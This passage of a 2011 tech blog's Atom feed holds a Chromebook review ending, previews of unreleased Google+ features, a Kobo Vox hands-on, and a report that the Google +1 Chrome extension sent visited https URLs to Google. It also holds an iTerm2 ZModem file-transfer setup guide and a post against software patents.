<p>Browsing is far better on the Chromebook than it is on any Android or iOS device I’ve used, hands down. I find the browsing experience to be frustrating on an iPad or my Galaxy 10”, while the Chromebook experience is flawless. The device is basically ready-to-use for browsing as soon as you lift the lid, in contrast to the fair amount of time it takes to get logged into the Macbook (especially if another user has a few applications open in their session).</p>

<p>The hardware itself in the early models was slightly underpowered, but that doesn’t really seem to matter much unless you’re playing a particularly intensive Flash video or HTML5 game. Scrolling is fairly slow on complex sites like Google+ as well, but it’s never been a showstopper. The touchpads have also been hit-and-miss in the early models. For what we use it for, the hardware is pretty decent. I imagine that the next generations will gradually improve on these shortcomings.</p>

<p>What makes these devices a hard sell is the price point. The cheapest Chromebook experience you can get today is the Acer (@ $300). Considering the fact that you are buying a piece of hardware that effectively does less than a laptop, I would find it hard to justify spending that amount if I were looking at hardware today. Even though I prefer to use the Chromebook when surfing over the tablets or the full laptop, I feel like the cost is just too much for a single-purpose device like this.</p>

<p>For Chromebooks to really take off in the home market, I think that a device with the equivalent power to the Samsung Chromebook 5 needs to be on the market at a $199 price point. I could see myself buying them without a second thought at that price. Alternatively, if we saw some sort of Android hybrid integration with the Chromebook, I think that this could radically change the equation and add significant perceived value to the device.</p>

<p>I don’t see the Chromebox being popular in households ever - I believe that we’ll see the decline of the non-portable computer going forward at home. Now, if I were running a business where a large subset of employees could get by with just web access, I would definitely consider rolling these out. The Chromebox looks like it could be a real game changer for business IT costs.</p>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[Upcoming Google+ features: hashtag autocomplete, new circle management, and more]]></title>
		<link href="https://grack.com/blog/2011/11/11/upcoming-google-features-hashtag-autocomplete-new-circle-management-and-more/"/>
		<updated>2011-11-11T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2011/11/11/upcoming-google-features-hashtag-autocomplete-new-circle-management-and-more</id>
		<content type="html"><![CDATA[<p>I’ve been snooping around the Google+ code a bit and found some more upcoming features.</p>

<p>Hashtags are getting a bit of a boost with auto-completion. When you type the hash character, you’ll see a list of potential auto-completions (this doesn’t appear to be hooked up to any data). When you hit space, it turns into a blue block containing the hashtag, which acts like the blue blocks that contain + mentions:</p>

<p><a class="image standard" href="https://grack.com/assets/2011/11/gplus/01-hashtag.png"><img src="https://grack.com/_thumbs/198f48a154524f7003ae9bf0ddf38ad6-600-600"></a><a class="image standard" href="https://grack.com/assets/2011/11/gplus/02-hashtag.png"><img src="https://grack.com/_thumbs/37d66e243596180ef8c0113b18d4e030-600-600"></a></p>

<p>Circle management looks like it might be dropping the circle visual metaphor. The new interface lists your circles on the left, although this wasn’t working very well, so it’s difficult to say what the final result will look like:</p>

<p><a class="image standard" href="https://grack.com/assets/2011/11/gplus/03-circles.png"><img src="https://grack.com/_thumbs/482291e86a11bb94653be681b19c7636-600-600"></a></p>

<p>The new interface contains two menus: one replaces the existing Relevance drop-down, while the other contains some interesting new menu items. Increase and decrease circle size appear to change the size of the circles on the circle management page. Might be an internal option for the user experience team to eyeball the correct sizing:</p>

<p><a class="image standard" href="https://grack.com/assets/2011/11/gplus/04-circle.png"><img src="https://grack.com/_thumbs/e9b6737565d93943fdd0ac1d20b94b7b-600-600"></a><a class="image standard" href="https://grack.com/assets/2011/11/gplus/05-circle.png"><img src="https://grack.com/_thumbs/36bbe9c12b9b84a922248c1c46b7b50a-600-600"></a></p>

<p>There’s a new “more” dropdown on a profile page that doesn’t seem to do anything, and games may appear in the right sidebar:</p>

<p><a class="image standard" href="https://grack.com/assets/2011/11/gplus/06-more.png"><img src="https://grack.com/_thumbs/d41d1ab2b68d09e8e07bbd970043b974-600-600"></a><a class="image standard" href="https://grack.com/assets/2011/11/gplus/14-games.png"><img src="https://grack.com/_thumbs/321c119925021e09726e808424c470c6-600-600"></a></p>

<p>Photos are getting some tweaks. The photo previews are appearing larger in the photos tab, and there’s a new “Link to this photo” option:</p>

<p><a class="image standard" href="https://grack.com/assets/2011/11/gplus/07-photos.png"><img src="https://grack.com/_thumbs/51df306427c005642182e51705d447dd-600-600"></a><a class="image standard" href="https://grack.com/assets/2011/11/gplus/08-photos.png"><img src="https://grack.com/_thumbs/808406ee6c09158b4962d52cfa23e1ec-600-600"></a></p>

<p>There’s a new “Recommendations” link on the left side of your home screen that links to a page that doesn’t exist yet. Clicking on the Recommendations link takes you to a 404 page at <a href="http://plus.google.com/plusones/posts">http://plus.google.com/plusones/posts</a>.</p>

<p><a class="image standard" href="https://grack.com/assets/2011/11/gplus/09-rec.png"><img src="https://grack.com/_thumbs/f51ded79761edd57ca06def1a0b44f5b-600-600"></a><a class="image standard" href="https://grack.com/assets/2011/11/gplus/10-posts.png"><img src="https://grack.com/_thumbs/e2ee268285bcc7934fbb286c6118b461-600-600"></a></p>

<p>You can now control who can post on your public posts. This might be useful for celebrities, although I’m not really sure who it’s targeted at:</p>

<p><a class="image standard" href="https://grack.com/assets/2011/11/gplus/11-comments.png"><img src="https://grack.com/_thumbs/b30bbf976638713f990b228c2778b41e-600-600"></a></p>

<p>Individual posts are now getting a “Hangout” button. Discuss a post in real-time with others that have seen it!</p>

<p><a class="image standard" href="https://grack.com/assets/2011/11/gplus/12-hangout.png"><img src="https://grack.com/_thumbs/b1bd8247835638707580b7b8adb8e13f-600-600"></a></p>

<p>You can now mute a person in addition to a single post, and the post sharing dropdown is getting a bit of a makeover with item icons:</p>

<p><a class="image standard" href="https://grack.com/assets/2011/11/gplus/13-mute.png"><img src="https://grack.com/_thumbs/6537a5a083f37cd4dc8bf62241517cb7-600-600"></a><a class="image standard" href="https://grack.com/assets/2011/11/gplus/15-sharing.png"><img src="https://grack.com/_thumbs/d5379396a7777faa6b322780f1021dd5-600-600"></a></p>

<p>I’m not sure if this welcome page was already there, but I haven’t seen this screen before:</p>

<p><a class="image standard" href="https://grack.com/assets/2011/11/gplus/16-welcome.png"><img src="https://grack.com/_thumbs/6a887ef4e36dcea7c8c6f98ac4c41bf7-600-600"></a></p>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[Five minutes with the Kobo Vox]]></title>
		<link href="https://grack.com/blog/2011/11/05/five-minutes-with-the-kobo-vox/"/>
		<updated>2011-11-05T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2011/11/05/five-minutes-with-the-kobo-vox</id>
		<content type="html"><![CDATA[<p><a class="image floatright" href="https://grack.com/assets/2011/11/Kobo_Vox_resize_440x330.png"><img src="https://grack.com/_thumbs/863fd0424a1defa8e717d9e571267b12-600-600" align="right" width="200"></a>Today I had a chance to play with the Canadian equivalent of the Kindle Fire, the Kobo Vox. It’s an Android 2.3 device, which means that it effectively has access to the entire ecosystem of Android apps. What it lacks, unfortunately, is the official Google Market application. It did appear to have access to the Gmail app, which makes the lack of Google’s Android market surprising.</p>

<p>The Vox is a bit lackluster in the graphics department. Full-screen animations like zooms and fades are choppy: 5-10 frames per second. The same animations in the Kobo application on my Galaxy Tab 10 are fluid and smooth. This makes the Kobo Vox feel like a really cheap bit of hardware. It’s not a big deal while reading books in the Kobo application: paging is lightning fast, although it doesn’t have any sort of animation to indicate page flips.</p>

<p>One thing you get with the Vox that you won’t get with the plain Kobo application on other devices is the <a href="http://www.kobobooks.com/kobovox_readinglife">“Kobo Voice” social reading experience</a>. You can annotate passages in books and share them with other readers. I don’t find this to be a big loss. The Vox also offers a way to lay out books in two-page landscape mode, which would be amazing on the Galaxy Tab 10, but feels a bit cramped on the smaller Vox screen.</p>

<p>The Kobo Vox does have a nice screen. The Dell Streak 7” tablet has issues with narrow viewing angles in portrait mode. From what I could tell, the Vox was beautiful in portrait and landscape orientation. The quality of the display feels pretty good.</p>

<p>Based on the five minutes I played with it, I don’t think it’s worth me buying. I’m tempted to look at the Kindle Fire for use in Canada, but I suspect that Amazon’s less-than-perfect support for Amazon services in Canada will make it less of an interesting piece of hardware. If you don’t already have a tablet, however, this might not be a bad device to purchase.</p>

<p>Comparable devices:</p>

<ul>
  <li>Kindle Fire: $200</li>
  <li>Kobo Vox: $200</li>
  <li>Dell Streak 7”: $399 (terrible for reading in portrait!)</li>
  <li>Galaxy Tab 8.9: $400-600 (couldn’t find it for sale in Canada)</li>
  <li>Galaxy Tab 10.1: $649</li>
</ul>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[Google +1 Chrome extension tracks your https traffic]]></title>
		<link href="https://grack.com/blog/2011/11/03/google-1-extension-tracks-your-https-traffic/"/>
		<updated>2011-11-03T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2011/11/03/google-1-extension-tracks-your-https-traffic</id>
		<content type="html"><![CDATA[<p><strong>EDIT</strong>: In a response to <a href="https://plus.google.com/115459243651688775505/posts/CDiwzBti5G9">this post on Google+</a>, Louis Gray says that he’s notified the team. I’ll update this post as I get more information.</p>

<p>The Google +1 extension for the Chrome browser sends an RPC event to Google for every page you visit, https or not.</p>

<p>I hate to be a downer on cool stuff like this, but I really don’t think this is acceptable. It’s even sending the querystring, which could potentially contain a secure session token. All of the communication to the Google servers happens over https, but I don’t think that excuses this. https:// traffic needs to be off-limits for auto-tracking like this.</p>

<p>I’d be OK if the button allowed you to disable auto-reporting of the current +1 count (this can default to ‘on’), and added a default-off option to show +1 counts for https sites.</p>

<p>Below is a screenshot of the RPC request sent to Google’s RPC endpoint, showing the https URL of a bank’s login URL, complete with query-string.</p>

<p><a class="image standard" href="https://grack.com/assets/2011/11/Screen-Shot-2011-11-03-at-1.49.49-PM.png"><img src="https://grack.com/_thumbs/81109bf4c89498fde41740aad7b4d065-600-600"></a></p>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[Automatic file transfer in iTerm2 via ZModem]]></title>
		<link href="https://grack.com/blog/2011/10/26/automatic-file-transfer-in-iterm2-via-zmodem/"/>
		<updated>2011-10-26T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2011/10/26/automatic-file-transfer-in-iterm2-via-zmodem</id>
		<content type="html"><![CDATA[<p><a class="image floatright" href="https://grack.com/assets/2011/10/Hayes_Modem.jpg"><img src="https://grack.com/_thumbs/8facf4bac68534a70a6f65c3bcebd3c0-600-600" align="right" width="200"></a><code class="language-text highlighter-rouge">scp</code> is a great way to securely transfer files from computer to computer, but wouldn’t it be nice if you could just automatically send files over the existing SSH connection you’ve already opened?</p>

<p>Back in the days of modem-based BBSes and dial-up machine access, file transfers were forced to run over the same TTY as your interaction with the system. A number of different solutions evolved for this, starting with the grandfather of transfer solutions, <a href="http://en.wikipedia.org/wiki/XModem">XModem</a>. Other transfer protocols evolved, some starting from the ground up like <a href="http://en.wikipedia.org/wiki/Kermit_%28protocol%29">Kermit</a>, while <a href="http://en.wikipedia.org/wiki/YModem">YModem</a> and <a href="http://en.wikipedia.org/wiki/ZModem">ZModem</a> build on the foundation of XModem.</p>

<p>The latest version of <a href="http://www.iterm2.com/#/section/home">iTerm 2</a> added support for two features that were very interesting: Triggers, that match a regular expression to a line of text; and co-processes, that can feed input directly into a terminal. With these two features, we can add the ability to stream files to and from any server over an existing ssh session. As ZModem is most modern protocol with wide support (lrzsz is well-supported and packaged on both OSX and Linux), I’ll show you how to use it to automate piggy-backed file uploads and downloads in your iTerm sessions.</p>

<h3 id="setup">Setup</h3>

<p>First of all, install <code class="language-text highlighter-rouge">lrzsz</code> via brew. This will install the <code class="language-text highlighter-rouge">sz</code> and <code class="language-text highlighter-rouge">rz</code> binaries in <code class="language-text highlighter-rouge">/usr/local/bin/</code>:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>macbook-pro-2:~ matthew$ brew install lrzsz
==&gt; Downloading http://www.ohse.de/uwe/releases/lrzsz-0.12.20.tar.gz
==&gt; ./configure --prefix=/usr/local/Cellar/lrzsz/0.12.20 --mandir=/usr/local/Cellar/lrzsz/0.12.20/share/man
==&gt; make
==&gt; make install
/usr/local/Cellar/lrzsz/0.12.20: 13 files, 376K, built in 21 seconds
</code></pre></div></div>

<p>Secondly, grab the scripts from <a href="https://github.com/mmastrac/iterm2-zmodem">my iterm2-zmodem github repo</a>, and save them in <code class="language-text highlighter-rouge">/usr/local/bin/</code>.</p>

<p>Next, we’ll add a Trigger to your iTerm 2 profile that will trigger on the signature of the <code class="language-text highlighter-rouge">rz</code> and <code class="language-text highlighter-rouge">sz</code> commands. The setup for these commands differs based on the iTerm 2 version you have:</p>

<p>Build newer than 1.0.0.20111026</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Regular expression: \*\*B0100
    Action: Run Coprocess
    Parameters: /usr/local/bin/iterm2-send-zmodem.sh

    Regular expression: \*\*B00000000000000
    Action: Run Coprocess
    Parameters: /usr/local/bin/iterm2-recv-zmodem.sh
</code></pre></div></div>

<p>Build older than 1.0.0.20111026 (only receive supported)</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Regular expression: [\$#] rz( -v)?$
    Action: Run Coprocess
    Parameters: /usr/local/bin/iterm2-send-zmodem.sh
</code></pre></div></div>

<p>Note: ideally we’d be matching on the ZModem initial packet signature: <code class="language-text highlighter-rouge">\*\*\u0018B01</code> in all versions of iTerm 2, but earlier versions of iTerm 2 had a bug that broke this pattern detection in this case. Instead we’re matching against the pattern of the <code class="language-text highlighter-rouge">rz</code> command typed at a shell for those older builds.</p>

<h3 id="receiving-files-from-the-server">Receiving files from the server</h3>

<p>To receive a file on your server, type the following at a shell prompt:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code># rz
</code></pre></div></div>

<p>A file-picker dialog will then pop up asking you for the file to send. Once you choose the file to send, it will automatically transfer the file across your existing console session.</p>

<h3 id="sending-files-to-the-server">Sending files to the server</h3>

<p>To send files from your server to your desktop, type the following:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code># sz file1 file2 file3 /folder/file*
</code></pre></div></div>

<p>A folder picker will show up, asking where you want to drop the files. If you send multiple files, they will all appear in this folder.</p>

<h3 id="wrap-up">Wrap-up</h3>

<p>This is a pretty rough first pass at this, but the shell scripts are <a href="https://github.com/mmastrac/iterm2-zmodem">available on github</a> if you’ve got ideas for improvement.</p>

<p>Follow me on Twitter: <a href="http://twitter.com/mmastrac">@mmastrac</a></p>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[On the advancement of science and the useful arts]]></title>
		<link href="https://grack.com/blog/2011/08/24/on-the-advancement-of-science-and-the-useful-arts/"/>
		<updated>2011-08-24T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2011/08/24/on-the-advancement-of-science-and-the-useful-arts</id>
		<content type="html"><![CDATA[<p>Apple is quickly burning my goodwill towards with <a href="http://www.engadget.com/2011/08/24/netherlands-judge-rules-that-samsung-galaxy-s-s-ii-violate-appl/">these silly patent fights</a>. Two out of three of the patents were found not to be infringing, while the last one is a software patent that basically describes the functioning of <a href="http://worldwide.espacenet.com/publicationDetails/description?CC=EP&amp;NR=2059868A2&amp;KC=A2&amp;FT=D&amp;date=20090520&amp;DB=&amp;locale=en_EP">a mobile device that deals with photos</a>.</p>

<p>At this point, it’s probably worth pointing out that Apple’s notification bar is <a href="http://androidandme.com/2011/06/news/is-this-real-life-apple-copies-androids-notification-system-and-lock-screen/">pretty much a rip-off</a> of the Android one. And you know what? <strong>I really don’t care</strong>.</p>

<p>Companies <em>should</em> be riffing off each other’s designs and improving them as they do. We’ll get a lot further than if we give one company total control over a single domain. Apple has taken the Android notification bar and improved it, just as Google has done with various iPhone features. Both companies have built their mobile operating systems on the prior art of <em>thousands</em> of other inventions from the last thirty years.</p>

<p>As many people have stated, patents are a monopoly to advance science and the useful arts. They are not a monopoly to advance the profits of any given company, though that may be a side-effect of their existence.</p>

<p>Copyright and trademark law already exist to prevent direct copying of design. Would Apple have released the iPhone in the absence of software patents? <em>Very likely</em>. Would the iPhone/Android rivalry shaped up the same way without software patents? <em>Very likely</em>.<br>
In their current form, software patents have been hindering the progress of computing. With that in mind, I say <em>it’s time for them to go</em>.</p>

<p>Follow me on Twitter: <a href="http://twitter.com/mmastrac">@mmastrac</a></p>
]]></content>
	</entry>
	
	
</feed>
